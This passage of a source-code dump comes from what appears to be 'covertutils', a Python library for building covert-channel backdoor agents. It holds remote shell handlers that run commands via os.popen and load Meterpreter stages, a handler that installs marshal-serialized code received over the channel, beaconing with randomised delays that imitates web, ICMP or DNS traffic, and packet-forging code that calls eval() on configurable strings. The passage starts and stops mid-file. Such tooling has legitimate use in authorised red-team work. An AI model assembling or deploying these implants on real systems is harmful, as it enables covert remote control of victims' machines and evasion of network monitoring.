comp in self.comps : 34 | zfile = comp( message ) 35 | zips.append( zfile ) 36 | 37 | sorted_zips = sorted( zips, key = lambda tup:len( tup ) ) 38 | winner = sorted_zips[0] 39 | return winner 40 | 41 | 42 | def decompress( self, zipped ) : 43 | """ 44 | This funtion performs all provided decompression algorithm to the provided data. 45 | Based on the assumption that any decompression algorithm raises an Exception if the compressed data is not compatible, it finds the used compression algorithm and returns the decompressed data. 46 | 47 | :param str message: The data to be compressed in raw bytes. 48 | :rtype: str 49 | :return: Data compressed by most efficient available algorithm. 50 | 51 | """ 52 | plain = zipped 53 | for decomp in self.decomps : 54 | try : 55 | unzipped = decomp( zipped ) 56 | return unzipped 57 | except : 58 | pass 59 | 60 | return plain 61 | 62 | 63 | 64 | if __name__ == '__main__' : 65 | 66 | import argparse, sys, base64, binascii 67 | 68 | compressor = Compressor() 69 | parser = argparse.ArgumentParser() 70 | 71 | parser.add_argument("message", help = "The message to be compressed [use '-' for stdin]", type = str, default = '-' ) 72 | parser.add_argument('--input-type', '-i', help = 'Specify the form of the input', choices = ['b64', 'hex', 'plain'], default = 'plain') 73 | parser.add_argument('--output-type', '-o', help = 'Specify the form of the ouput', choices = ['b64', 'hex', 'plain'], default = 'plain') 74 | parser.add_argument('--decompress', '-d', help = 'Add if the message is in compressed form', action = 'store_true', default = False, ) 75 | parser.add_argument('-v', help = 'Display compression stats', action = 'store_true', default = False, ) 76 | 77 | 78 | args = parser.parse_args() 79 | 80 | if args.message == '-' : 81 | args.message = sys.stdin.read() 82 | 83 | if args.input_type == 'hex' : 84 | message = str(binascii.unhexlify(args.message)) 85 | elif args.input_type == 'b64' : 86 | message = base64.b64decode(args.message) 87 | else : 88 | message = args.message 89 | 90 | func = compressor.compress 91 | if args.decompress : 92 | func = compressor.decompress 93 | 94 | raw_res = func(message) 95 | 96 | res = raw_res 97 | if args.output_type == 'hex' : 98 | res = binascii.hexlify(raw_res) 99 | if args.output_type == 'b64' : 100 | res = base64.b64encode(raw_res) 101 | 102 | print (res) 103 | 104 | if args.v : 105 | print( "Ratio %d %% " % ( len(raw_res) / float(len(message)) * 100 ) ) 106 | -------------------------------------------------------------------------------- /covertutils/datamanipulation/datatransformer.py: -------------------------------------------------------------------------------- 1 | from covertutils.datamanipulation import StegoInjector 2 | 3 | from struct import pack, unpack 4 | 5 | 6 | class DataTransformer : 7 | """ 8 | This class provides automated data transformations. 9 | It uses the :class:`covertutils.datamanipulation.stegoinjector.StegoInjector` class to create alterations to existing data chunks. 10 | 11 | **Transformation List** 12 | 13 | The Transformation List argument is a specially structured list to dictate to the `DataTranformer` which changes should be done to data packet. 14 | Specifically, for a SYN - (RST, ACK) sequence to be simulated, the following configuration should be used: 15 | 16 | .. code:: python 17 | 18 | X:_data_: 19 | L:_data_: 20 | K:_data_: 21 | 22 | ip_tcp_syn = '''45000028LLLL000040067ccd7f0000017f000001XXXX0050KKKKKKKK0000000050022000917c0000''' 23 | 24 | ip_tcp_rst_ack = '''450000280001000040067ccd7f0000017f0000010014005000000000XXXXXXXXXX50142000916a0000''' 25 | 26 | The Transformation List that has to be used should dictate the class to: 27 | 28 | - Unpack Sequence Number from `ip_tcp_syn` template (K tag) 29 | - Increment it by 1 30 | - Place it to a `ip_tcp_rst_ack` template (X tag) 31 | - All the above while handling **endianess**, **integer overflow checks**, etc 32 | 33 | The `transformation_list` is declared below: 34 | 35 | .. code:: python 36 | 37 | transformation_list = [ ( # Tranformation #1 38 | ( 'ip_tcp_syn:K', 'ip_tcp_rst_ack:X' ), # From template:tag to template:tag 39 | ('!I','!I') # Unpack as an 4-byte Integer (reverse Endianess as of network Endianess) and pack it to 4-byte Integer (reverse Endianess again) 40 | '_data_ + 1' # Eval this string (with the extracted/unpacked data as '_data_') and pack the result. 41 | ), 42 | # No other transformations 43 | ] 44 | 45 | """ 46 | def __init__( self, stego_configuration, transformation_list ) : 47 | """ 48 | :param str stego_configuration: The Stego Configuration to initialize the internal :class:`covertutils.datamanipulation.stegoinjector.StegoInjector` object. 49 | :param list transformation_list: The Tranformation List as described above. 50 | 51 | """ 52 | self.injector = StegoInjector( stego_configuration ) 53 | self.transformation_list = transformation_list 54 | 55 | 56 | def runAll( self, pkt, template = None ) : 57 | """ 58 | Runs all Tranformations in the `transformation_list` that relate to the specified template. 59 | 60 | :param str pkt: The data packet to run the Tranformations on. In `Raw Bytes`. 61 | :param str template: The template string that describes the given data packet. If `None` the :func:`covertutils.datamanipulation.stegoinjector.StegoInjector.guessTemplate` function will try to guess the correct template. 62 | :rtype: str 63 | :return: Returns the `pkt` with all the related tranformations applied. 64 | """ 65 | if not template : 66 | template = self.injector.guessTemplate( pkt ) 67 | 68 | injectable_dict = {} 69 | for trans_tuple in self.transformation_list : 70 | 71 | templates, struct_strs, eval_str = trans_tuple 72 | # (in_template_tag, out_template_tag) = templates 73 | (out_template_tag, in_template_tag) = templates 74 | out_template, out_tag = out_template_tag.split(':') 75 | in_template, in_tag = in_template_tag.split(':') 76 | (out_struct, in_struct) = struct_strs 77 | 78 | # if template != out_template : 79 | # continue 80 | 81 | out_data = self.injector.extractByTag( pkt, template )[ out_tag ] 82 | # out_data = str(out_data) 83 | # print out_tag, len(out_data), type(out_data) 84 | # print unpack( out_struct, out_data ) 85 | structed_data = unpack( out_struct, out_data )[0] 86 | # ========================== 87 | _data_ = structed_data 88 | output_data = eval( eval_str ) 89 | # print( structed_data, eval_str, output_data ) 90 | # ========================== 91 | injectable_data = pack( in_struct, output_data ) 92 | injectable_dict[in_tag] = injectable_data 93 | # print( injectable_data.encode('hex') ) 94 | # print( self.injector.getCapacityDict( template ) ) 95 | # pkt = self.injector.blankPacket( pkt, template ) 96 | # pkt = pkt.encode('hex') 97 | # pkt = self.injector.blankifyPacketFields( pkt, template, zero = True ) 98 | # print pkt 99 | # pkt = pkt.decode('hex') 100 | # print pkt.encode('hex') 101 | pkt = self.injector.injectByTag( injectable_dict, template, pkt ) 102 | # pkt = self.injector.inject( injectable_data, template, pkt ) 103 | 104 | return pkt 105 | -------------------------------------------------------------------------------- /covertutils/exceptions.py: -------------------------------------------------------------------------------- 1 | """ 2 | All exception of ``covertutils`` package are provided centrically in this module. 3 | 4 | """ 5 | 6 | class TemplateNotFoundException( Exception ) : 7 | ''' This Exception is thrown when the template passed as argument is not available in the :class:`covertutils.datamanipulation.stegoinjector.StegoInjector` configuration string ''' 8 | 9 | 10 | class InvalidChunkException( Exception ) : 11 | ''' Exception thrown when the chunks are invalid ''' 12 | pass 13 | 14 | 15 | 16 | class StreamAdditionException( Exception ) : 17 | """ This Exception is thrown if any issue happens in stream addition. """ 18 | pass 19 | 20 | 21 | class StreamAlreadyExistsException( StreamAdditionException ) : 22 | """ This Exception is thrown if an existing stream is tried to be re-added. """ 23 | pass 24 | 25 | class StreamDeletionException( Exception ) : 26 | """ This Exception is thrown if the deletion of a stream is not possible. """ 27 | pass 28 | 29 | class HardStreamException( Exception ) : 30 | """ This Exception is thrown if a Hard Stream can't be created""" 31 | pass 32 | 33 | 34 | 35 | class StegoSchemeParseException ( Exception ) : 36 | ''' This Exception is thrown whenever the StegoScheme syntax gets violated ''' 37 | pass 38 | 39 | 40 | class StegoDataInjectionException( Exception ) : 41 | ''' This Exception is thrown whenever given data cannot be properly injected in Data ''' 42 | pass 43 | 44 | 45 | class StegoDataExtractionException( Exception ) : 46 | ''' This Exception is thrown whenever data extraction from a Data is not possible ''' 47 | pass 48 | 49 | 50 | 51 | 52 | class NoFunctionAvailableException( Exception ) : 53 | """ This Exception is raised when the received stream does not have a corresponding function. """ 54 | pass 55 | -------------------------------------------------------------------------------- /covertutils/handlers/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module provides a template for Automatic protocol creation. 3 | The base class :class:`covertutils.handlers.BaseHandler` provide an API with methods: 4 | 5 | - onChunk() 6 | - onMessage() 7 | - onNotRecognized() 8 | 9 | Subclassing the `BaseHandler` class needs an implementation of the above methods. 10 | 11 | .. code:: python 12 | 13 | from covertutils.handlers import BaseHandler 14 | 15 | class MyHandler( BaseHandler ) : 16 | 17 | def onMessage( self, stream, message ) : 18 | print "Got Message '%s' from Stream %s" % ( stream, message ) 19 | 20 | def onChunk( self, stream, message ) : 21 | print "Got Chunk from Stream %s" % ( stream, message ) 22 | if message != '' : 23 | print "This was the last chunk of a message" 24 | 25 | def onNotRecognised( self ) : 26 | print "Got Garbage Data" 27 | 28 | Creating a `MyHandler` Object needs 2 wrapper functions for raw data **sending** and **receiving**. 29 | The receiving function needs to be **blocking**, just like :func:`socket.socket.recv` 30 | Also a :class:`covertutils.orchestration.SimpleOrchestrator` object is required to handle data chunking, compression and encryption. 31 | 32 | .. code:: python 33 | 34 | passphrase = "Th1s1sMyS3cr3t" 35 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50 ) 36 | 37 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | s.connect( addr ) 39 | 40 | def recv () : 41 | return s.recv(50) 42 | 43 | def send( raw ) : 44 | return s.send( raw ) 45 | 46 | handler_obj = MyHandler( recv, send, orch ) 47 | 48 | 49 | Then it is possible to send `messages` to other `Handler` instances using the `sendAdHoc()` method. 50 | 51 | .. code:: python 52 | 53 | handler_obj.sendAdHoc( "Hello from me" ) 54 | 55 | Everytime a message is received, the overriden `onMessage()` method will run. 56 | 57 | For the Handler at the other side of the channel, to properly decrypt and handle the binary sent by `handler_obj` it is needed to be instantiated with the :func:`covertutils.orchestration.SimpleOrchestrator.__init__` argument ""**reverse = True**"" 58 | 59 | .. code:: python 60 | 61 | passphrase = "Th1s1sMyS3cr3t" 62 | orch2 = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True ) 63 | 64 | handler_obj2 = MyHandler( recv2, send2, orch2 ) 65 | 66 | 67 | The `Handler` Classes are designed for **Multiple Inheritance** for further flexibility. 68 | For instance a Querying, Stageable agent can be implemented like below: 69 | 70 | .. code:: python 71 | 72 | from covertutils.handlers import InterrogatingHandler, StageableHandler 73 | 74 | class MyHandler2( InterrogatingHandler, StageableHandler ) : 75 | 76 | def __init__( self, recv, send, orch, **kw ) : 77 | super( MyHandler, self ).__init__( recv, send, orch, **kw ) 78 | 79 | def onChunk( self, stream, message ) :pass 80 | def onNotRecognised( self ) :pass 81 | 82 | Now, creating a `MyHandler2` object needs the 3 standard arguments (inherited from :func:`covertutils.handlers.BaseHandler.__init__`), and all optional arguments that are needed by the provided `Parent Classes`. 83 | 84 | """ 85 | 86 | 87 | 88 | from covertutils.handlers.basehandler import BaseHandler 89 | 90 | from covertutils.handlers.functiondict import FunctionDictHandler 91 | 92 | from covertutils.handlers.interrogating import InterrogatingHandler 93 | 94 | from covertutils.handlers.responseonly import ResponseOnlyHandler 95 | 96 | from covertutils.handlers.stageable import StageableHandler 97 | 98 | from covertutils.handlers.buffering import BufferingHandler 99 | 100 | from covertutils.handlers.dateable import DateableHandler 101 | -------------------------------------------------------------------------------- /covertutils/handlers/buffering.py: -------------------------------------------------------------------------------- 1 | from abc import ABCMeta, abstractmethod 2 | # from time import sleep 3 | from covertutils.handlers import BaseHandler 4 | from covertutils.helpers import defaultArgMerging 5 | 6 | from threading import Condition, Thread 7 | from multiprocessing import Queue 8 | 9 | 10 | class BufferingHandler( BaseHandler ) : 11 | """ 12 | Subclassing this class ensures that all Messages received will be available through a blocking `get()` method, the same way a :class:`queue.Queue` object provides access to its contents. 13 | """ 14 | __metaclass__ = ABCMeta 15 | 16 | def __init__( self, recv, send, orchestrator, **kw ) : 17 | 18 | super( BufferingHandler, self ).__init__( recv, send, orchestrator, **kw ) 19 | self.__buffer = Queue() 20 | self.__condition = Condition() 21 | 22 | def onMessage( self, stream, message ) : 23 | # print "Before acquire()" 24 | self.__condition.acquire() 25 | # print "Before Put" 26 | self.__buffer.put( (stream, message) ) 27 | # print "Before notify()" 28 | self.__condition.notify() 29 | # print "Before release()" 30 | self.__condition.release() 31 | # print "released" 32 | # print "Before super()" 33 | # super(BufferingHandler, self).onMessage( stream, message ) 34 | 35 | 36 | def get( self ) : 37 | ''' 38 | Blocking call that wraps the internal buffer's `get()` function 39 | ''' 40 | return self.__buffer.get() 41 | 42 | 43 | def empty( self ) : 44 | return self.__buffer.empty() 45 | 46 | 47 | def getCondition( self ) : 48 | return self.__condition 49 | 50 | 51 | @staticmethod 52 | def bufferize_handler( handler_class ) : 53 | ''' 54 | Pairs a class with `BufferingHandler` class to create a child class, inheriting from both the passed `handler_class` and `BufferingHandler` class. 55 | ''' 56 | class BufferizedHandler(BufferingHandler, handler_class) : 57 | def __init__(self, recv, send, orch, **kw) : 58 | super(BufferizedHandler, self).__init__(recv, send, orch, **kw) 59 | return BufferizedHandler 60 | 61 | 62 | @staticmethod 63 | def bufferize_handler_obj( handler_obj ) : 64 | ''' 65 | Migrate an existing object inheriting from `BaseHandler` to be an effective child of `BufferingHandler`. 66 | 67 | Attaches the `BufferingHandler` as a parent class in `__class__` object field and runs the specialized `__init__` for `BufferingHandler` inside the objects context. 68 | `BufferingHandler.__init__` has to run in the object in order to initiate the buffering process of `BufferingHandler`. 69 | ''' 70 | if isinstance(handler_obj, BufferingHandler) : return handler_obj 71 | handler_class = handler_obj.__class__ 72 | bufferized_class = BufferingHandler.bufferize_handler( handler_class ) 73 | handler_obj.__class__ = bufferized_class 74 | 75 | # super(handler_obj.__class__, handler_obj).__init__(handler_obj.receive_function, handler_obj.send_function, handler_obj.getOrchestrator()) 76 | # super(BufferingHandler, handler_obj).__init__(handler_obj.receive_function, handler_obj.send_function, handler_obj.getOrchestrator()) 77 | BufferingHandler.__init__(handler_obj, handler_obj.receive_function, handler_obj.send_function, handler_obj.getOrchestrator()) # Runs the __init__ code only for BufferingHandler 78 | 79 | return handler_obj 80 | -------------------------------------------------------------------------------- /covertutils/handlers/impl/__init__.py: -------------------------------------------------------------------------------- 1 | from covertutils.handlers.impl.meterpretershell import MeterpreterShellHandler 2 | 3 | from covertutils.handlers.impl.simpleshell import SimpleShellHandler 4 | 5 | from covertutils.handlers.impl.standardshell import StandardShellHandler 6 | 7 | from covertutils.handlers.impl.extendableshell import ExtendableShellHandler 8 | -------------------------------------------------------------------------------- /covertutils/handlers/impl/extendableshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from time import sleep 4 | 5 | from abc import ABCMeta, abstractmethod 6 | 7 | from covertutils.helpers import defaultArgMerging 8 | from covertutils.handlers import StageableHandler 9 | from covertutils.handlers.impl import StandardShellHandler 10 | 11 | from covertutils.payloads import LinuxStages, GenericStages 12 | 13 | 14 | 15 | pls = { 16 | 'file' : GenericStages['file']['marshal'], 17 | 'control' : GenericStages['control']['marshal'], 18 | 'os-shell' : GenericStages['shell']['marshal'], 19 | 'python' : GenericStages['pythonapi']['marshal'], 20 | } 21 | 22 | class ExtendableShellHandler ( StageableHandler ) : 23 | """ 24 | This class provides an implementation of Simple Remote Shell. 25 | It can be used on any shell type and protocol (bind, reverse, udp, icmp, etc),by adjusting `send_function()` and `receive_function()` 26 | 27 | All communication is chunked and encrypted, as dictated by the :class:`covertutils.orchestration.SimpleOrchestrator` object. 28 | 29 | This class directly executes commands on a System Shell (Windows or Unix) via the :func:`os.popen` function. The exact stage used to execute commands is explained in :mod:`covertutils.Stages` 30 | """ 31 | 32 | def __init__( self, recv, send, orchestrator, **kw ) : 33 | """ 34 | :param function receive_function: A **blocking** function that returns every time a chunk is received. The return value must be return raw data. 35 | :param function send_function: A function that takes raw data as argument and sends it across. 36 | :param `orchestration.SimpleOrchestrator` orchestrator: An Object that is used to translate raw_data to `(stream, message)` tuples. 37 | """ 38 | kw['function_dict'] = pls 39 | super( ExtendableShellHandler, self ).__init__( recv, send, orchestrator, **kw ) 40 | 41 | 42 | def onMessage( self, stream, message ) : 43 | resp = super( ExtendableShellHandler, self ).onMessage( stream, message ) 44 | self.preferred_send( resp, stream ) 45 | 46 | 47 | def onChunk( self, stream, message ) : 48 | pass 49 | 50 | 51 | def onNotRecognised( self ) : 52 | pass 53 | -------------------------------------------------------------------------------- /covertutils/handlers/impl/meterpretershell.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from time import sleep 4 | 5 | from abc import ABCMeta, abstractmethod 6 | 7 | from covertutils.helpers import defaultArgMerging 8 | from covertutils.handlers import FunctionDictHandler 9 | 10 | 11 | from covertutils.payloads import LinuxStages, GenericStages 12 | 13 | 14 | pls = { 15 | 'control' : GenericStages['control']['marshal'], 16 | 'meterpreter' : GenericStages['meterpreter']['marshal'], 17 | } 18 | 19 | class MeterpreterShellHandler ( FunctionDictHandler ) : 20 | """ 21 | This class provides an implementation of Simple Remote Shell. 22 | It can be used on any shell type and protocol (bind, reverse, udp, icmp, etc),by adjusting `send_function()` and `receive_function()` 23 | 24 | All communication is chunked and encrypted, as dictated by the :class:`covertutils.orchestration.SimpleOrchestrator` object. 25 | 26 | This class directly executes commands on a System Shell (Windows or Unix) via the :func:`os.popen` function. The exact stage used to execute commands is explained in :mod:`covertutils.Stages` 27 | """ 28 | 29 | def __init__( self, recv, send, orchestrator, **kw ) : 30 | """ 31 | :param function receive_function: A **blocking** function that returns every time a chunk is received. The return value must be return raw data. 32 | :param function send_function: A function that takes raw data as argument and sends it across. 33 | :param `orchestration.SimpleOrchestrator` orchestrator: An Object that is used to translate raw_data to `(stream, message)` tuples. 34 | """ 35 | 36 | # orchestrator.addStream('meterpreter') 37 | # orchestrator.streamIdent.setHardStreamName('meterpreter') 38 | # orchestrator.deleteStream('control') 39 | kw['function_dict'] = pls 40 | super( MeterpreterShellHandler, self ).__init__( recv, send, orchestrator, **kw ) 41 | 42 | 43 | def onMessage( self, stream, message ) : 44 | resp = super( MeterpreterShellHandler, self ).onMessage( stream, message ) 45 | self.preferred_send( resp, stream ) 46 | 47 | 48 | def onChunk( self, stream, message ) : 49 | pass 50 | 51 | 52 | def onNotRecognised( self ) : 53 | pass 54 | -------------------------------------------------------------------------------- /covertutils/handlers/impl/simpleshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from time import sleep 4 | 5 | from abc import ABCMeta, abstractmethod 6 | 7 | from covertutils.helpers import defaultArgMerging 8 | from covertutils.handlers import FunctionDictHandler 9 | 10 | from covertutils.payloads import LinuxStages, GenericStages 11 | 12 | pls = { 13 | 'control' : GenericStages['shell']['marshal'], 14 | } 15 | 16 | class SimpleShellHandler ( FunctionDictHandler ) : 17 | """ 18 | This class provides an implementation of Simple Remote Shell. 19 | It can be used on any shell type and protocol (bind, reverse, udp, icmp, etc),by adjusting `send_function()` and `receive_function()` 20 | 21 | All communication is chunked and encrypted, as dictated by the :class:`covertutils.orchestration.SimpleOrchestrator` object. 22 | 23 | This class directly executes commands on a System Shell (Windows or Unix) via the :func:`os.popen` function. The exact stage used to execute commands is explained in :mod:`covertutils.Stages` 24 | """ 25 | 26 | def __init__( self, recv, send, orchestrator, **kw ) : 27 | """ 28 | :param function receive_function: A **blocking** function that returns every time a chunk is received. The return value must be return raw data. 29 | :param function send_function: A function that takes raw data as argument and sends it across. 30 | :param `orchestration.SimpleOrchestrator` orchestrator: An Object that is used to translate raw_data to `(stream, message)` tuples. 31 | """ 32 | kw['function_dict'] = pls 33 | super( SimpleShellHandler, self ).__init__( recv, send, orchestrator, **kw ) 34 | 35 | 36 | def onMessage( self, stream, message ) : 37 | resp = super( SimpleShellHandler, self ).onMessage( stream, message ) 38 | self.preferred_send( resp, stream ) 39 | 40 | 41 | def onChunk( self, stream, message ) : 42 | pass 43 | 44 | 45 | def onNotRecognised( self ) : 46 | pass 47 | -------------------------------------------------------------------------------- /covertutils/handlers/impl/standardshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from time import sleep 4 | 5 | from abc import ABCMeta, abstractmethod 6 | 7 | from covertutils.helpers import defaultArgMerging 8 | from covertutils.handlers import FunctionDictHandler 9 | 10 | from covertutils.payloads import LinuxStages, GenericStages 11 | 12 | pls = { 13 | 'control' : GenericStages['control']['marshal'], 14 | 'os-shell' : GenericStages['shell']['marshal'], 15 | 'python' : GenericStages['pythonapi']['marshal'], 16 | 'file' : GenericStages['file']['marshal'], 17 | } 18 | 19 | class StandardShellHandler ( FunctionDictHandler ) : 20 | """ 21 | This class provides an implementation of Simple Remote Shell. 22 | It can be used on any shell type and protocol (bind, reverse, udp, icmp, etc),by adjusting `send_function()` and `receive_function()` 23 | 24 | All communication is chunked and encrypted, as dictated by the :class:`covertutils.orchestration.SimpleOrchestrator` object. 25 | 26 | This class directly executes commands on a System Shell (Windows or Unix) via the :func:`os.popen` function. The exact stage used to execute commands is explained in :mod:`covertutils.Stages` 27 | """ 28 | 29 | def __init__( self, recv, send, orchestrator, **kw ) : 30 | """ 31 | :param function receive_function: A **blocking** function that returns every time a chunk is received. The return value must be return raw data. 32 | :param function send_function: A function that takes raw data as argument and sends it across. 33 | :param `orchestration.SimpleOrchestrator` orchestrator: An Object that is used to translate raw_data to `(stream, message)` tuples. 34 | """ 35 | kw['function_dict'] = pls 36 | super( StandardShellHandler, self ).__init__( recv, send, orchestrator, **kw ) 37 | 38 | 39 | def onMessage( self, stream, message ) : 40 | resp = super( StandardShellHandler, self ).onMessage( stream, message ) 41 | self.preferred_send( resp, stream ) 42 | 43 | 44 | def onChunk( self, stream, message ) : 45 | pass 46 | 47 | 48 | def onNotRecognised( self ) : 49 | pass 50 | -------------------------------------------------------------------------------- /covertutils/handlers/interrogating.py: -------------------------------------------------------------------------------- 1 | from time import sleep 2 | 3 | from abc import ABCMeta, abstractmethod 4 | 5 | from covertutils.helpers import defaultArgMerging 6 | from covertutils.handlers import BaseHandler 7 | 8 | from threading import Thread 9 | 10 | from random import uniform 11 | 12 | 13 | class InterrogatingHandler( BaseHandler ) : 14 | """ 15 | This handler has a beaconing behavior, repeatedly querring the channel for messages. This behavior is useful on agents that need to have a client-oriented traffic. 16 | HTTP/S agents (meterpreter HTTP/S) use this approach, issueing HTTP (GET/POST) requests to the channel and executing messages found in HTTP responses. 17 | This behavior can simulate Web Browsing, ICMP Ping, DNS traffic schemes. 18 | 19 | This handler can be nicely coupled with :class:`covertutils.handlers.ResponseOnlyHandler` for a Server-Client approach. 20 | """ 21 | 22 | __metaclass__ = ABCMeta 23 | 24 | Defaults = { 'request_data' : 'X', 'delay_between' : (1.0, 2.0), 'fetch_stream' : 'control' } 25 | 26 | def __init__( self, recv, send, orchestrator, **kw ) : 27 | """ 28 | :param str request_data: The actual payload that is used in messages thet request data. 29 | :param tuple delay_between: A `tuple` containing 2 `floats` or `ints`. The beaconing intervals will be calculated randomly between these 2 numbers. 30 | :param str fetch_stream: The stream where all the beaconing will be tagged with. 31 | """ 32 | super(InterrogatingHandler, self).__init__( recv, send, orchestrator, **kw ) 33 | 34 | self.Defaults['fetch_stream'] = orchestrator.getDefaultStream() 35 | arguments = defaultArgMerging( self.Defaults, kw ) 36 | 37 | self.request_data = arguments['request_data'] 38 | self.delay_between = arguments['delay_between'] 39 | self.fetch_stream = arguments['fetch_stream'] 40 | 41 | self.fetcher_thread = Thread( target = self.__fetcher_function ) 42 | self.fetcher_thread.daemon = True 43 | self.fetcher_thread.start() 44 | 45 | 46 | 47 | def __fetcher_function( self, ) : 48 | 49 | while True : 50 | if not self.delay_between : continue # to beat a race condition 51 | delay = uniform( *self.delay_between ) 52 | sleep( delay ) 53 | 54 | self.readifyQueue() 55 | while not self.to_send_raw : 56 | self.queueSend( self.request_data, self.fetch_stream ) 57 | self.readifyQueue() 58 | 59 | to_send = self.to_send_raw.pop(0) 60 | self.send_function( to_send ) 61 | -------------------------------------------------------------------------------- /covertutils/handlers/multi/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.handlers.multi.multihandler import MultiHandler 3 | -------------------------------------------------------------------------------- /covertutils/handlers/responseonly.py: -------------------------------------------------------------------------------- 1 | from abc import ABCMeta, abstractmethod 2 | 3 | from covertutils.handlers import BaseHandler 4 | 5 | from covertutils.helpers import defaultArgMerging 6 | 7 | 8 | class ResponseOnlyHandler( BaseHandler ) : 9 | """ 10 | This handler doesn't send messages with the `sendAdHoc` method. It implements a method `queueSend` to queue messages, and send them only if it is queried with a `request_data` message. 11 | 12 | Can be nicely paired with :class:`covertutils.handlers.InterrogatingHandler` for a Client-Server approach. 13 | """ 14 | __metaclass__ = ABCMeta 15 | 16 | Defaults = {'request_data' : 'X'} 17 | 18 | def __init__( self, recv, send, orchestrator, **kw ) : 19 | """ 20 | :param str request_data: The data that, when received as message, a stored chunk will be sent. 21 | """ 22 | super(ResponseOnlyHandler, self).__init__( recv, send, orchestrator, **kw ) 23 | 24 | arguments = defaultArgMerging( self.Defaults, kw ) 25 | self.request_data = arguments['request_data'] 26 | 27 | self.preferred_send = self.queueSend 28 | 29 | 30 | def onMessage( self, stream, message ) : 31 | beacon = (message == self.request_data) # got a beacon message? 32 | # if beacon : 33 | # print "List of messages '%s' " % self.to_send_list 34 | # if not self.readifyQueue() : return False 35 | self.readifyQueue() 36 | # print "Raw packets pending: %s" % len(self.to_send_raw) 37 | if self.to_send_raw : 38 | to_send = self.to_send_raw.pop(0) 39 | self.send_function( to_send ) 40 | return True 41 | return False 42 | -------------------------------------------------------------------------------- /covertutils/handlers/stageable.py: -------------------------------------------------------------------------------- 1 | from abc import ABCMeta, abstractmethod 2 | 3 | import marshal, types 4 | 5 | from covertutils.handlers import FunctionDictHandler 6 | 7 | from covertutils.helpers import defaultArgMerging 8 | 9 | 10 | def stager_worker( storage, message ) : 11 | 12 | handler = storage['COMMON']['handler'] 13 | stream, action, stage_obj = message.split( ':', 2 ) 14 | handler.addStage( stream, stage_obj ) 15 | return stream 16 | 17 | stager_stage = {} 18 | try: 19 | stager_stage['work'] = stager_worker.__code__ # Python 3 20 | except AttributeError: 21 | stager_stage['work'] = stager_worker.func_code # Ptyhon 2 22 | 23 | stager_stage['init'] = None 24 | 25 | stage_obj = marshal.dumps(stager_stage) 26 | 27 | 28 | class StageableHandler ( FunctionDictHandler ) : 29 | """ 30 | The StageableHandler is a :class:`covertutils.handlers.FunctionDictHandler` that can load payloads (stages) during execution. Additional functions can be sent in a serialized form (ready stages can be found in :mod:`covertutils.payloads`). 31 | The stage function have to be implemented according to :class:`covertutils.handlers.FunctionDictHandler` documentation. 32 | 33 | To running `StageableHandler`s, additional functions can be packed with the :func:covertutils.handlers.`StageableHandler.createStageMessage` and sent like normal messages with a `sendAdHoc` call. 34 | """ 35 | 36 | Delimiter = ':' 37 | Add_Action = "A" 38 | Replace_Action = "R" 39 | Delete_Action = "D" 40 | 41 | Defaults = { 'stage_stream' : 'stage' } 42 | 43 | def __init__( self, recv, send, orchestrator, **kw ) : 44 | """ 45 | :param str stage_stream: The stream where all stages will be received. 46 | """ 47 | super(StageableHandler, self).__init__( recv, send, orchestrator, **kw ) 48 | 49 | arguments = defaultArgMerging( self.Defaults, kw ) 50 | # print arguments 51 | self.stage_stream = arguments['stage_stream'] 52 | self.addStage( self.stage_stream, stage_obj ) 53 | # print orchestrator.streams_buckets[self.stage_stream] 54 | # if self.stage_stream not in self.orchestrator.getStream() : 55 | # self.orchestrator.addStream( self.stage_stream ) 56 | 57 | 58 | def onMessage( self, stream, message ) : 59 | return super( StageableHandler, self ).onMessage( stream, message ) 60 | # if stream in self.function_dict.keys() : 61 | # self.function_dict[ stream ]( message ) 62 | # else : 63 | # raise NoFunctionAvailableException( "The stream '%s' does not have a corresponding function." % stream ) 64 | 65 | 66 | 67 | @staticmethod 68 | def createStageMessage( stream, stage_obj, replace = True ) : 69 | """ 70 | :param str stream: The stream where the new stage will receive messages from. 71 | :param str serialized_function: The stage-function serialized with the `marshal` build-in package. 72 | :param bool replace: If True the stage that currently listens to the given stream will be replaced. 73 | """ 74 | action = 'A' 75 | if replace : 76 | action = 'R' 77 | message = stream + StageableHandler.Delimiter + action + StageableHandler.Delimiter + stage_obj 78 | return message 79 | -------------------------------------------------------------------------------- /covertutils/helpers.py: -------------------------------------------------------------------------------- 1 | # from builtins import chr 2 | 3 | from difflib import SequenceMatcher 4 | import abc 5 | 6 | 7 | 8 | class CovertUtilsException( Exception ) : 9 | ''' General Exception for raising in helper functions ''' 10 | pass 11 | 12 | 13 | def sxor( s1, s2 ) : 14 | if len(s1) != 1 and len(s2) != 1 : 15 | raise CovertUtilsException( "Incompatible lengths. An Argument is more than 1 char long" ) 16 | 17 | return chr(ord(s1) ^ ord(s2)) 18 | 19 | def xor_str( s1, s2 ) : 20 | if len(s1) != len(s2) : 21 | raise CovertUtilsException( "Incompatible lengths. %d != %d" % ( len(s1), len(s2) ) ) 22 | return ''.join(sxor(a,b) for a,b in zip(s1,s2)) 23 | 24 | 25 | def permutate( list_, number_set ) : 26 | ret = [] 27 | for i in number_set : 28 | x = list_[i] 29 | ret.append(x) 30 | return ret 31 | 32 | # taken from: 33 | # http://stackoverflow.com/questions/17388213/find-the-similarity-percent-between-two-strings 34 | def str_similar(a, b): 35 | return SequenceMatcher(None, a, b).ratio() 36 | 37 | 38 | 39 | def defaultArgMerging( defaults, kwargs ) : 40 | ret = {} 41 | # print defaults.keys() 42 | for k in list( defaults.keys() ) : 43 | try : 44 | ret[k] = kwargs[k] 45 | except : 46 | ret[k] = defaults[k] 47 | 48 | for k in list( kwargs.keys() ) : 49 | ret[k] = kwargs[k] 50 | 51 | return ret 52 | 53 | 54 | # http://stackoverflow.com/questions/3636928/test-if-a-python-string-is-printable 55 | def isprintable( s ) : 56 | import string 57 | return all(c in string.printable for c in s) 58 | 59 | 60 | # http://stackoverflow.com/questions/13741998/is-there-a-way-to-let-classes-inherit-the-documentation-of-their-superclass-with 61 | def 